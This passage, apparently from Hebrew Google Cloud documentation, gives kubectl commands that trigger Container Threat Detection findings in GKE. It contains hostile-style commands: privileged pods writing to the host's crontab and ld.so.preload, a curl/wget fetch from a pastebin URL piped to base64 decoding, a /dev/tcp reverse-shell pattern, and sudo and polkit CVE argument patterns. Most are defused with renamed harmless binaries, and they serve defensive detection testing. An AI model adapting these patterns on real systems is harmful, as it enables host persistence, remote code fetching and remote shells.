3. מריצים פקודה כדי לשנות את הקובץ /etc/crontab של המארח.

   • צומת x86:

     tag="ktd-test-cron-mod-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
     kubectl run \
        --restart=Never --rm=true -ti --image ubuntu "$tag"\
        --overrides='{"apiVersion": "v1", "spec": {
        "containers":[{"command": ["sh", "-c", "/bin/echo >> /host/etc/crontab"],
        "name": "'$tag'", "image": "marketplace.gcr.io/google/ubuntu2404:latest",
        "securityContext": {"privileged": true},
        "volumeMounts":[{"mountPath": "/host/", "name": "host-mount",
        "readOnly": false}]}],
        "volumes": [{"name": "host-mount","hostPath": {"path": "/"}}]}}'
     

   • צומת ARM:

     tag="ktd-test-cron-mod-arm-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
     kubectl run \
        --restart=Never --rm=true -ti --image ubuntu "$tag"\
        --overrides='{"apiVersion": "v1", "spec": {
        "containers":[{"command": ["sh", "-c", "/bin/echo >> /host/etc/crontab"],
        "name": "'$tag'", "image": "marketplace.gcr.io/google/ubuntu2404:latest",
        "securityContext": {"privileged": true},
        "volumeMounts":[{"mountPath": "/host/", "name": "host-mount",
        "readOnly": false}]}],
        "volumes": [{"name": "host-mount","hostPath": {"path": "/"}}],
        "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[{ "effect":
        "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
        "value": "arm64" }] }}'
     

     הליך הבדיקה הזה מפעיל ממצא של שינוי חשוד ב-Cron שאפשר לראות ב-Security Command Center, ואם הגדרתם רישום ביומן עבור זיהוי איומים בקונטיינר, גם ב-Cloud Logging. האפשרות להציג ממצאים ב-Cloud Logging זמינה רק אם מפעילים את רמת Premium או Enterprise של Security Command Center ברמת הארגון.

ביצוע: נטען אובייקט משותף חשוד של OpenSSL

כדי להפעיל Execution: Suspicious OpenSSL Shared Object Loaded ממצא, מריצים את הפקודה openssl engine עם ארגומנט שהוא קובץ שמסתיים בסיומת .so. בדוגמה הזו נעשה שימוש בתמונה העדכנית ביותר של Ubuntu 24.04. הכלי /bin/ls מועתק ומשנה את השם ל-/tmp/openssl. הקובץ הבינארי ששמו שונה מופעל עם הארגומנטים engine וקובץ מזויף .so. הביצוע של openssl engine עם קובץ .so מסומן כחשוד כי הוא מחקה את ההתנהגות של אובייקט משותף שנטען כדי לבצע קוד זדוני.

1. הגדרה של משתני סביבה

2. משתמשים ב-Cloud Shell כדי לגשת למישור הבקרה של האשכול:

   gcloud container clusters get-credentials $CLUSTER_NAME \
       --zone $ZONE \
       --project $PROJECT
   

3. מריצים את הפקודה openssl engine עם ארגומנט של ספריית אובייקטים משותפת מזויפת:

   • צומת x86:

     tag="ktd-test-suspicious-openssl-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
     kubectl run \
        --restart=Never \
        --rm=true -i \
        --image marketplace.gcr.io/google/ubuntu2404:latest \
        "$tag" -- bash -c \
           "cp /bin/ls /tmp/openssl; /tmp/openssl engine /tmp/fakelib.so"
     

   • צומת ARM:

     tag="ktd-test-suspicious-openssl-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
     kubectl run \
        --restart=Never \
        --rm=true -i \
        --image marketplace.gcr.io/google/ubuntu2404:latest \
        --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
        {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
        "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
        "value": "arm64" } ]}}' \
        "$tag" -- bash -c \
           "cp /bin/ls /tmp/openssl; /tmp/openssl engine /tmp/fakelib.so"
     

תהליך הבדיקה הזה יוצר ממצא Execution: Suspicious OpenSSL Shared Object Loaded שאפשר לראות ב-Security Command Center וב-Cloud Logging, אם הגדרתם את Logging לזיהוי איומים בקונטיינרים. אפשר לראות את הממצאים ב-Cloud Logging רק אם מפעילים את רמת Premium או Enterprise של Security Command Center.

העברה לא מורשית: הפעלת כלים להעתקת קבצים מרחוק בקונטיינר

כדי להפעיל Exfiltration: Launch Remote File Copy Tools In Container ממצא, מריצים כלי נפוץ להעתקת קבצים מרחוק בתוך קונטיינר. בדוגמה הזו נעשה שימוש בקובץ האימג' העדכני ביותר של Ubuntu 24.04. כלי השירות /bin/ls מועתק ומשנה את השם שלו ל-/tmp/rsync, ואז הוא מופעל כדי לאחזר קובץ ממקור מרוחק, שעלול להיות זדוני. ההרצה של כלי כזה עם ארגומנטים של אחזור קבצים מרחוק בתוך מאגר מסומנת כפעולה חשודה, כי היא יכולה להצביע על ניסיון להוריד ולהריץ קוד זדוני או לחלץ נתונים.

1. הגדרה של משתני סביבה

2. משתמשים ב-Cloud Shell כדי לגשת למישור הבקרה של האשכול:

   gcloud container clusters get-credentials $CLUSTER_NAME \
       --zone $ZONE \
       --project $PROJECT
   

3. מריצים כלי להעתקת קבצים מרחוק, כמו rsync:

   • צומת x86:

     tag="ktd-test-launch-remote-file-copy-tools-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
     kubectl run \
        --restart=Never \
        --rm=true -i \
        --image marketplace.gcr.io/google/ubuntu2404:latest \
        "$tag" -- bash -c \
           "cp /bin/ls /tmp/rsync; /tmp/rsync"
     

   • צומת ARM:

     tag="ktd-test-launch-remote-file-copy-tools-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
     kubectl run \
        --restart=Never \
        --rm=true -i \
        --image marketplace.gcr.io/google/ubuntu2404:latest \
        --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
        {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
        "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
        "value": "arm64" } ]}}' \
        "$tag" -- bash -c \
           "cp /bin/ls /tmp/rsync; /tmp/rsync"
     

במהלך הליך הבדיקה הזה נוצר ממצא Exfiltration: Launch Remote File Copy Tools In Container שאפשר לראות ב-Security Command Center וב-Cloud Logging, אם הגדרתם את Logging לזיהוי איומים בקונטיינרים. אפשר לראות את הממצאים ב-Cloud Logging רק אם מפעילים את רמת Premium או Enterprise של Security Command Center.

השפעה: זיהוי של שורות פקודה זדוניות

כדי להפעיל ממצא מסוג Impact: Detect Malicious Cmdlines (תצוגה מקדימה), צריך לזהות בתוך קונטיינר ביצוע של שורת פקודה עם דפוסים או ארגומנטים זדוניים ידועים. בדוגמה הזו נעשה שימוש בתמונה העדכנית ביותר של Ubuntu 24.04. התהליך כולל העתקה של הבינארי /bin/ls ושינוי השם של העותק ל-ipfs. לאחר מכן, הקובץ הבינארי ששמו שונה מופעל. התנהגות כזו מסומנת כחשודה כי היא יכולה להצביע על ניסיון להפעיל קוד זדוני או לעקוף אמצעי בקרה של אבטחה.

1. הגדרה של משתני סביבה

2. משתמשים ב-Cloud Shell כדי לגשת למישור הבקרה של האשכול:

   gcloud container clusters get-credentials $CLUSTER_NAME \
       --zone $ZONE \
       --project $PROJECT
   

3. מריצים קובץ בינארי כמו ipfs:

   • צומת x86:

     tag="ktd-test-detect-malicious-cmdlines-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
     kubectl run \
        --restart=Never \
        --rm=true -i \
        --image marketplace.gcr.io/google/ubuntu2404:latest \
        "$tag" -- bash -c \
           "cp /bin/ls /tmp/ipfs; /tmp/ipfs"
     

   • צומת ARM:

     tag="ktd-test-detect-malicious-cmdlines-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
     kubectl run \
        --restart=Never \
        --rm=true -i \
        --image marketplace.gcr.io/google/ubuntu2404:latest \
        --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
        {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
        "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
        "value": "arm64" } ]}}' \
        "$tag" -- bash -c \
           "cp /bin/ls /tmp/ipfs; /tmp/ipfs"
     

תהליך הבדיקה הזה יוצר ממצא Impact: Detect Malicious Cmdlines שאפשר לראות ב-Security Command Center וב-Cloud Logging אם הגדרתם את Logging לזיהוי איומים בקונטיינר. הצגת הממצאים ב-Cloud Logging זמינה רק אם מפעילים את רמת Premium או Enterprise של Security Command Center.

השפעה: הסרת נתונים בכמות גדולה מהדיסק

כדי להפעיל ממצא של Impact: Remove Bulk Data From Disk, צריך להציב קובץ בינארי שיכול למחוק או להחליף נתונים במאגר ולהפעיל אותו. בדוגמה הזו נעשה שימוש בתמונה העדכנית ביותר של Ubuntu 24.04. התהליך כולל העתקה של קובץ הבינארי /bin/ls ושינוי השם של העותק ל-shred (או לכלי דומה שנועד למחיקה מאובטחת של קבצים). לאחר מכן, הקובץ הבינארי ששמו שונה מופעל. הפעולה הזו מסומנת כחשודה כי היא דומה להתנהגות שרואים בדרך כלל כשמנסים להסיר כמויות גדולות של נתונים מדיסק בסביבה מבוססת-קונטיינרים.

1. הגדרה של משתני סביבה

2. משתמשים ב-Cloud Shell כדי לגשת למישור הבקרה של האשכול:

   gcloud container clusters get-credentials $CLUSTER_NAME \
       --zone $ZONE \
       --project $PROJECT
   

3. מציגים קובץ או נתונים בינאריים למחיקה כמו shred ומבצעים אותו:

   • צומת x86:

     tag="ktd-test-remove-bulk-data-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
     kubectl run \
        --restart=Never \
        --rm=true -i \
        --image marketplace.gcr.io/google/ubuntu2404:latest \
        "$tag" -- bash -c \
           "cp /bin/ls /tmp/shred; /tmp/shred"
     

   • צומת ARM:

     tag="ktd-test-remove-bulk-data-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
     kubectl run \
        --restart=Never \
        --rm=true -i \
        --image marketplace.gcr.io/google/ubuntu2404:latest \
        --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
        {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
        "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
        "value": "arm64" } ]}}' \
        "$tag" -- bash -c \
           "cp /bin/ls /tmp/shred; /tmp/shred"
     

במסגרת הליך הבדיקה הזה נוצר ממצא Impact: Remove Bulk Data From Disk שאפשר לראות ב-Security Command Center וב-Cloud Logging, אם הגדרתם את רישום ביומן לזיהוי איומים בקונטיינר. הצגת הממצאים ב-Cloud Logging זמינה רק אם מפעילים את רמת Premium או Enterprise של Security Command Center.

השפעה: פעילות חשודה של כריית מטבעות קריפטוגרפיים באמצעות פרוטוקול Stratum

כדי להפעיל את זיהוי הממצאים של Impact: Suspicious crypto mining activity using the Stratum Protocol, צריך להפעיל קובץ בינארי בתוך קונטיינר עם ארגומנטים שדומים לאלה שמשמשים תוכנות לכריית קריפטו שמתקשרות באמצעות פרוטוקול Stratum. בדוגמה נעשה שימוש בתמונה העדכנית של Ubuntu 24.04. היא מעתיקה את /bin/ls ומשנה את השם של העותק לבינארי מדומה (כנראה כדי לדמות כריית קריפטו). הקובץ הבינארי ששמו שונה מופעל עם ארגומנטים שכוללים את stratum+tcp או אינדיקטורים דומים של פרוטוקול Stratum. הפעילות הזו מסומנת כחשודה כי היא מחקה את דפוסי התקשורת ברשת של תוכנות לכריית קריפטו בסביבות מכולות.

1. הגדרה של משתני סביבה

2. משתמשים ב-Cloud Shell כדי לגשת למישור הבקרה של האשכול:

   gcloud container clusters get-credentials $CLUSTER_NAME \
       --zone $ZONE \
       --project $PROJECT
   

3. להציג קובץ בינארי של כלי עזר כמו curl ולהפעיל אותו עם ארגומנטים שדומים לאלה שמשמשים תוכנות לכריית קריפטו שמתקשרות באמצעות פרוטוקול Stratum:

   • צומת x86:

     tag="ktd-test-detect-crypto-using-stratum-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
     kubectl run \
        --restart=Never \
        --rm=true -i \
        --image marketplace.gcr.io/google/ubuntu2404:latest \
        "$tag" -- bash -c \
           "cp /bin/ls /tmp/curl; /tmp/curl --url=stratum+tcp"
     

   • צומת ARM:

     tag="ktd-test-detect-crypto-using-stratum-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
     kubectl run \
        --restart=Never \
        --rm=true -i \
        --image marketplace.gcr.io/google/ubuntu2404:latest \
        --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
        {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
        "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
        "value": "arm64" } ]}}' \
        "$tag" -- bash -c \
           "cp /bin/ls /tmp/curl; /tmp/curl --url=stratum+tcp"
     

תהליך הבדיקה הזה יוצר ממצא Impact: Suspicious crypto mining activity using the Stratum Protocol שאפשר לראות ב-Security Command Center וב-Cloud Logging, אם הגדרתם את Logging לזיהוי איומים בקונטיינרים. אפשר לראות את הממצאים ב-Cloud Logging רק אם מפעילים את רמת Premium או Enterprise של Security Command Center.

יכול להיות שתוצג לכם גם תוצאה נוספת של הפקודה bash שתריצו בבדיקה הזו. זוהי התנהגות רגילה ואפשר להתעלם מהממצא הנוסף.

הופעל סקריפט זדוני

כדי להפעיל ממצא של סקריפט זדוני שהופעל, אפשר להפעיל את הסקריפט במסגרת התהליך הבא במאגר.

התהליך פורס את התמונה העדכנית של Ubuntu 24.04, מעתיק סקריפט שנראה זדוני ואז מפעיל אותו. כדי להפעיל זיהוי, סקריפט צריך להיראות זדוני לגלאי.

1. הגדרה של משתני סביבה

2. משתמשים ב-Cloud Shell כדי לגשת למישור הבקרה של האשכול:

   gcloud container clusters get-credentials $CLUSTER_NAME \
       --zone $ZONE \
       --project $PROJECT
   

3. מריצים את התסריט הבא במאגר חדש.

   הסקריפט המוטבע הזה של Bourne shell הגיע ממלכודת דבש. עם זאת, הוא שונה כך שהוא לא מפעיל את הקובץ הבינארי הזדוני, לכן הפעלת הסקריפט לא תגרום לפעילות זדונית במאגר התגים. יכול להיות שהקובץ הבינארי בכתובת ה-URL שאליה מתבצעת ההפניה הוסר, וניסיון להשתמש בכתובת ה-URL יוביל לשגיאה 404. זה תקין. הניסיון להוריד, לפענח ולהפעיל קובץ בינארי באמצעות סקריפט מוטבע הוא מה שמפעיל את הזיהוי.

   • צומת x86:

     tag="ktd-test-malicious-script-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
     kubectl run \
        --restart=Never \
        --rm=true  -i \
        --image marketplace.gcr.io/google/ubuntu2404:latest \
        "$tag" -- sh -c \
           "(curl -fsSL https://pastebin.com/raw/KGwfArMR||wget -q -O - https://pastebin.com/raw/KGwfArMR)| base64 -d"
     

   • צומת ARM:

     tag="ktd-test-malicious-script-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
     kubectl run \
        --restart=Never \
        --rm=true  -i \
        --image marketplace.gcr.io/google/ubuntu2404:latest \
        --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
        {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
        "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
        "value": "arm64" } ]}}' \
        "$tag" -- sh -c \
           "(curl -fsSL https://pastebin.com/raw/KGwfArMR||wget -q -O - https://pastebin.com/raw/KGwfArMR)| base64 -d"
     

במהלך הליך הבדיקה הזה נוצר ממצא של Malicious Script Executed (סקריפט זדוני שהופעל), שאפשר לראות ב-Security Command Center וב-Cloud Logging אם הגדרתם רישום ביומן עבור זיהוי איומים בקונטיינר. הצגת הממצאים ב-Cloud Logging זמינה רק אם מפעילים את רמת Premium או Enterprise של Security Command Center.

זוהתה כתובת URL זדונית

כדי להפעיל ממצא מסוג Malicious URL Observed (זוהתה כתובת URL זדונית), מריצים קובץ בינארי ומספקים כתובת URL זדונית כארגומנט.

בדוגמה הבאה מתבצעת פריסה של קובץ אימג' של Ubuntu 24.04 ומופעלת הפקודה /bin/curl כדי לגשת לכתובת URL לדוגמה של תוכנה זדונית מהשירות גלישה בטוחה.

1. הגדרה של משתני סביבה

2. משתמשים ב-Cloud Shell כדי לגשת למישור הבקרה של האשכול:

   gcloud container clusters get-credentials $CLUSTER_NAME \
       --zone $ZONE \
       --project $PROJECT
   

3. מריצים את הפקודה curl ומזינים כתובת URL זדונית כארגומנט:

   • צומת x86:

     tag="ktd-test-malicious-url-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
     url="https://testsafebrowsing.appspot.com/s/malware.html"
     kubectl run \
        --restart=Never \
        --rm=true -i \
        --image marketplace.gcr.io/google/ubuntu2404:latest \
        "$tag" -- sh -c "cp /bin/ls /tmp/curl; /tmp/curl $url 2> /dev/null || true"
     

   • צומת ARM:

     tag="ktd-test-malicious-url-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
     url="https://testsafebrowsing.appspot.com/s/malware.html"
     kubectl run \
           --restart=Never \
           --rm=true -i \
           --image marketplace.gcr.io/google/ubuntu2404:latest \
           --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
           {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
           "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
           "value": "arm64" } ]}}' \
           "$tag" -- sh -c "cp /bin/ls /tmp/curl; /tmp/curl $url 2> /dev/null || true"
     

הליך הבדיקה הזה מפעיל ממצא מסוג Malicious URL Observed (זוהתה כתובת URL זדונית) שאפשר לראות ב-Security Command Center, ואם הגדרתם רישום ביומן של זיהוי איומים בקונטיינר, גם ב-Cloud Logging. האפשרות להציג ממצאים ב-Cloud Logging זמינה רק אם מפעילים את רמת Premium או Enterprise של Security Command Center ברמת הארגון.

התמדה: שינוי ld.so.preload (תצוגה מקדימה)

כדי להפעיל זיהוי שינויים ב-ld.so.preload, משנים את הקובץ /etc/ld.so.preload של המארח. בדוגמה הזו פורס קובץ האימג' האחרון של Ubuntu 24.04, מערכת הקבצים הבסיסית של המארח מועלית לקונטיינר, ואז מתבצע עדכון של /etc/ld.so.preload.

זהו גלאי לניטור קבצים, ויש לו דרישות ספציפיות לגבי גרסת GKE.

1. הגדרה של משתני סביבה

2. משתמשים ב-Cloud Shell כדי לגשת למישור הבקרה של האשכול:

   gcloud container clusters get-credentials $CLUSTER_NAME \
       --zone $ZONE \
       --project $PROJECT
   

3. הפעלת קובץ בינארי שמשנה את הקובץ /etc/ld.so.preload של המארח.

   • צומת x86:

     tag="ktd-test-ld-preload-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
     kubectl run \
        --restart=Never --rm=true -ti --image ubuntu "$tag"\
        --overrides='{"apiVersion": "v1", "spec": {
        "containers":[{"command": ["/bin/touch", "/host/etc/ld.so.preload"],
        "name": "'$tag'", "image": "marketplace.gcr.io/google/ubuntu2404:latest",
        "securityContext": {"privileged": true},
        "volumeMounts":[{"mountPath": "/host/", "name": "host-mount",
        "readOnly": false}]}],
        "volumes": [{"name": "host-mount","hostPath": {"path": "/"}}]}}'
     

   • צומת ARM:

     tag="ktd-test-ld-preload-arm-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
     kubectl run \
        --restart=Never --rm=true -ti --image ubuntu "$tag"\
        --overrides='{"apiVersion": "v1", "spec": {
        "containers":[{"command": ["/bin/touch", "/host/etc/ld.so.preload"],
        "name": "'$tag'", "image": "marketplace.gcr.io/google/ubuntu2404:latest",
        "securityContext": {"privileged": true},
        "volumeMounts":[{"mountPath": "/host/", "name": "host-mount",
        "readOnly": false}]}],
        "volumes": [{"name": "host-mount","hostPath": {"path": "/"}}],
        "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[{ "effect":
        "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
        "value": "arm64" }] }}'
     

הליך הבדיקה הזה מפעיל ממצא של שינוי ב-ld.so.preload שאפשר לראות ב-Security Command Center, ואם הגדרתם את Cloud Logging לזיהוי איומים בקונטיינרים, גם ב-Cloud Logging. האפשרות להציג ממצאים ב-Cloud Logging זמינה רק אם מפעילים את רמת Premium או Enterprise של Security Command Center ברמת הארגון.

הסלמת הרשאות: ניצול לרעה של Sudo להסלמת הרשאות (CVE-2019-14287)

כדי להפעיל Privilege Escalation: Abuse of Sudo For Privilege Escalation (CVE-2019-14287) ממצא, מריצים את קובץ ההפעלה sudo עם הפרמטר -u#-1. בדוגמה הזו, הקובץ הבינארי /bin/ls מועתק כדי לחקות את הקובץ הבינארי sudo, והוא מופעל עם הפרמטר שצוין.

1. הגדרה של משתני סביבה

2. משתמשים ב-Cloud Shell כדי לגשת למישור הבקרה של האשכול:

   gcloud container clusters get-credentials $CLUSTER_NAME \
       --zone $ZONE \
       --project $PROJECT
   

3. מפעילים קובץ בינארי עם /bin/echo הפניה ל-Google Public DNS:

   • צומת x86:

     tag="ktd-test-abuse-sudo-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
     kubectl run \
        --restart=Never \
        --rm=true -i \
        --image marketplace.gcr.io/google/ubuntu2404:latest \
        "$tag" -- bash -c \
        "cp /bin/ls /tmp/sudo; /tmp/sudo -u#-1; sleep 10"
     

   • צומת ARM:

     tag="ktd-test-abuse-sudo-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
     kubectl run \
        --restart=Never \
        --rm=true -i \
        --image marketplace.gcr.io/google/ubuntu2404:latest \
        --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
        {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
        "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
        "value": "arm64" } ]}}' \
        "$tag" -- bash -c \
        "cp /bin/ls /tmp/sudo; /tmp/sudo -u#-1; sleep 10"
     

במסגרת הליך הבדיקה הזה נוצר ממצא Privilege Escalation: Abuse of Sudo For Privilege Escalation (CVE-2019-14287) שאפשר לראות ב-Security Command Center וב-Cloud Logging, אם הגדרתם את Cloud Logging לזיהוי איומים בקונטיינר. אפשר לראות את הממצאים ב-Cloud Logging רק אם מפעילים את רמת Premium או Enterprise של Security Command Center ברמת הארגון.

הסלמת הרשאות: הפעלה ללא קבצים ב-/dev/shm

כדי להפעיל ממצא Privilege Escalation: Fileless Execution in /dev/shm, צריך להריץ תהליך ממערכת הקבצים בזיכרון /dev/shm. בדוגמה הזו נעשה שימוש בתמונה העדכנית ביותר של Ubuntu 24.04. הכלי /bin/echo מועתק אל /dev/shm/echo. לאחר מכן מופעל הקובץ הבינארי עם השם החדש. הביצוע של קובץ ב-/dev/shm מסומן כחשוד כי הוא מחקה את ההתנהגות של אובייקט שמנסה לבצע פעולה בזיכרון כדי להימנע מזיהוי מבוסס-קובץ.

1. הגדרה של משתני סביבה

2. משתמשים ב-Cloud Shell כדי לגשת למישור הבקרה של האשכול:

   gcloud container clusters get-credentials $CLUSTER_NAME \
       --zone $ZONE \
       --project $PROJECT
   

3. יוצרים קונטיינר עם הרשאות מיוחדות ומריצים תוכנית ממערכת קבצים בזיכרון:

   • צומת x86:

     tag="ktd-test-fileless-dev-shm-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
     kubectl run \
        --restart=Never \
        --rm=true -i \
        --image marketplace.gcr.io/google/ubuntu2404:latest \
        --overrides='{"spec": {"containers": [{"name": "'$tag'", "image": "marketplace.gcr.io/google/ubuntu2404:latest", "securityContext": {"privileged": true}, "command": ["bash", "-c", "cp /bin/echo /dev/shm/echo; chmod +x /dev/shm/echo; mount -o remount,exec /dev/shm; /dev/shm/echo \"Hello from /dev/shm\""]}]}}' \
        "$tag"
     

   • צומת ARM:

     tag="ktd-test-fileless-dev-shm-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
     kubectl run \
        --restart=Never \
        --rm=true -i \
        --image marketplace.gcr.io/google/ubuntu2404:latest \
        --overrides='{"apiVersion": "v1", "spec": {
        "containers": [{"name": "'$tag'", "image": "marketplace.gcr.io/google/ubuntu2404:latest", "securityContext": {"privileged": true}, "command": ["bash", "-c", "cp /bin/echo /dev/shm/echo; chmod +x /dev/shm/echo; mount -o remount,exec /dev/shm; /dev/shm/echo \"Hello from /dev/shm\""]}],
        "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
        "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
        "value": "arm64" } ]}}' \
        "$tag"
     

תהליך הבדיקה הזה יוצר ממצא Privilege Escalation: Fileless Execution in /dev/shm שאפשר לראות ב-Security Command Center וב-Cloud Logging, אם הגדרתם את Logging לזיהוי איומים בקונטיינרים. אפשר לראות את הממצאים ב-Cloud Logging רק אם מפעילים את רמת Premium או Enterprise של Security Command Center.

הסלמת הרשאות: נקודת חולשה בהסלמת הרשאות מקומית ב-Polkit‏ (CVE-2021-4034)

כדי להפעיל את Privilege Escalation: Polkit Local Privilege Escalation Vulnerability (CVE-2021-4034), מריצים קובץ בינארי של pkexec עם משתנה הסביבה GCONV_PATH שמוגדר כמשתמש לא-בסיסי. בדוגמה הזו, מתבצעת העתקה של הבינארי /bin/ls כדי לחקות את הבינארי pkexec, והוא מופעל עם הפרמטר שצוין כמזהה משתמש 1000.

1. הגדרה של משתני סביבה

2. משתמשים ב-Cloud Shell כדי לגשת למישור הבקרה של האשכול:

   gcloud container clusters get-credentials $CLUSTER_NAME \
       --zone $ZONE \
       --project $PROJECT
   

3. מפעילים קובץ בינארי עם /bin/echo הפניה ל-Google Public DNS:

   • צומת x86:

     tag="ktd-test-polkit-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
     kubectl run \
        --restart=Never \
        --rm=true -i \
        --image marketplace.gcr.io/google/ubuntu2404:latest \
        --overrides='{"apiVersion": "v1", "spec": {
        "securityContext": { "runAsUser": 1000 }}}' \
        "$tag" -- bash -c \
        "cp /bin/ls /tmp/pkexec; GCONV_PATH=junk /tmp/pkexec; sleep 10"
     

   • צומת ARM:

     tag="ktd-test-polkit-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
     kubectl run \
        --restart=Never \
        --rm=true -i \
        --image marketplace.gcr.io/google/ubuntu2404:latest \
        --overrides='{"apiVersion": "v1", "spec": {
        "securityContext": { "runAsUser": 1000 }, "nodeSelector":
        {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
        "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
        "value": "arm64" } ]}}' \
        "$tag" -- bash -c \
        "cp /bin/ls /tmp/pkexec; GCONV_PATH=junk /tmp/pkexec; sleep 10"
     

במסגרת הליך הבדיקה הזה נוצר ממצא Privilege Escalation: Polkit Local Privilege Escalation Vulnerability (CVE-2021-4034) שאפשר לראות ב-Security Command Center וב-Cloud Logging, אם הגדרתם את Cloud Logging לזיהוי איומים בקונטיינר. אפשר לראות את הממצאים ב-Cloud Logging רק אם מפעילים את רמת Premium או Enterprise של Security Command Center ברמת הארגון.

הסלמת הרשאות: הסלמת הרשאות פוטנציאלית ב-Sudo‏ (CVE-2021-3156)

כדי להפעיל Privilege Escalation: Sudo Potential Privilege Escalation (CVE-2021-3156) ממצא, מריצים את קובץ ה-sudo הבינארי כמשתמש לא-בסיסי עם הפרמטר -s ופרמטר שמסתיים ב-\`. This example copies the/bin/lsbinary to imitate the. קובץ ה-sudo` הבינארי מריץ אותו עם הפרמטרים שצוינו.

1. הגדרה של משתני סביבה

2. משתמשים ב-Cloud Shell כדי לגשת למישור הבקרה של האשכול:

   gcloud container clusters get-credentials $CLUSTER_NAME \
       --zone $ZONE \
       --project $PROJECT
   

3. מפעילים קובץ בינארי עם /bin/echo הפניה ל-Google Public DNS:

   • צומת x86:

     tag="ktd-test-sudo-potential-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
     kubectl run \
        --restart=Never \
        --rm=true -i \
        --image marketplace.gcr.io/google/ubuntu2404:latest \
        --overrides='{"apiVersion": "v1", "spec": {
        "securityContext": { "runAsUser": 1000 }}}' \
        "$tag" -- bash -c \
        'cp /bin/ls /tmp/sudo; /tmp/sudo -s "123\\"; sleep 10'
     

   • צומת ARM:

     tag="ktd-test-sudo-potential-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
     kubectl run \
        --restart=Never \
        --rm=true -i \
        --image marketplace.gcr.io/google/ubuntu2404:latest \
        --overrides='{"apiVersion": "v1", "spec": {
        "securityContext": { "runAsUser": 1000 },
        "nodeSelector": { "kubernetes.io/arch":"arm64" }, "tolerations":[ { "effect":
        "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
        "value": "arm64" } ]}}' \
        "$tag" -- bash -c \
        'cp /bin/ls /tmp/sudo; /tmp/sudo -s "123\\"; sleep 10'
     

במסגרת הליך הבדיקה הזה נוצר ממצא Privilege Escalation: Sudo Potential Privilege Escalation (CVE-2021-3156) שאפשר לראות ב-Security Command Center וב-Cloud Logging, אם הגדרתם את Cloud Logging לזיהוי איומים בקונטיינר. אפשר לראות את הממצאים ב-Cloud Logging רק אם מפעילים את רמת Premium או Enterprise של Security Command Center ברמת הארגון.

Reverse Shell

כדי להפעיל את האיתור של Reverse Shell, צריך להפעיל קובץ בינארי עם הפניה אוטומטית של stdin לשקע מחובר ל-TCP. בדוגמה הזו, המערכת מעתיקה את /bin/echo אל /tmp/sh, ואז מפעילה את /tmp/sh עם הפניה אל Google Public DNS ‏8.8.8.8 ביציאת ה-DNS. לא יודפס כלום כשמריצים את הדוגמה הזו. כדי למנוע הזרקת קוד חיצוני באמצעות מתקפת man-in-the-middle ‏ (MITM), בדוגמה הזו לא נעשה שימוש בבינארי /bin/sh.

1. הגדרה של משתני סביבה

2. משתמשים ב-Cloud Shell כדי לגשת למישור הבקרה של האשכול:

   gcloud container clusters get-credentials $CLUSTER_NAME \
       --zone $ZONE \
       --project $PROJECT
   

3. מפעילים קובץ בינארי עם /bin/echo הפניה ל-Google Public DNS:

   • צומת x86:

     tag="ktd-test-reverse-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
     kubectl run \
        --restart=Never \
        --rm=true -i \
        --image marketplace.gcr.io/google/ubuntu2404:latest \
        "$tag" -- bash -c \
           "cp /bin/echo /tmp/sh; /tmp/sh >& /dev/tcp/8.8.8.8/53 0>&1"
     

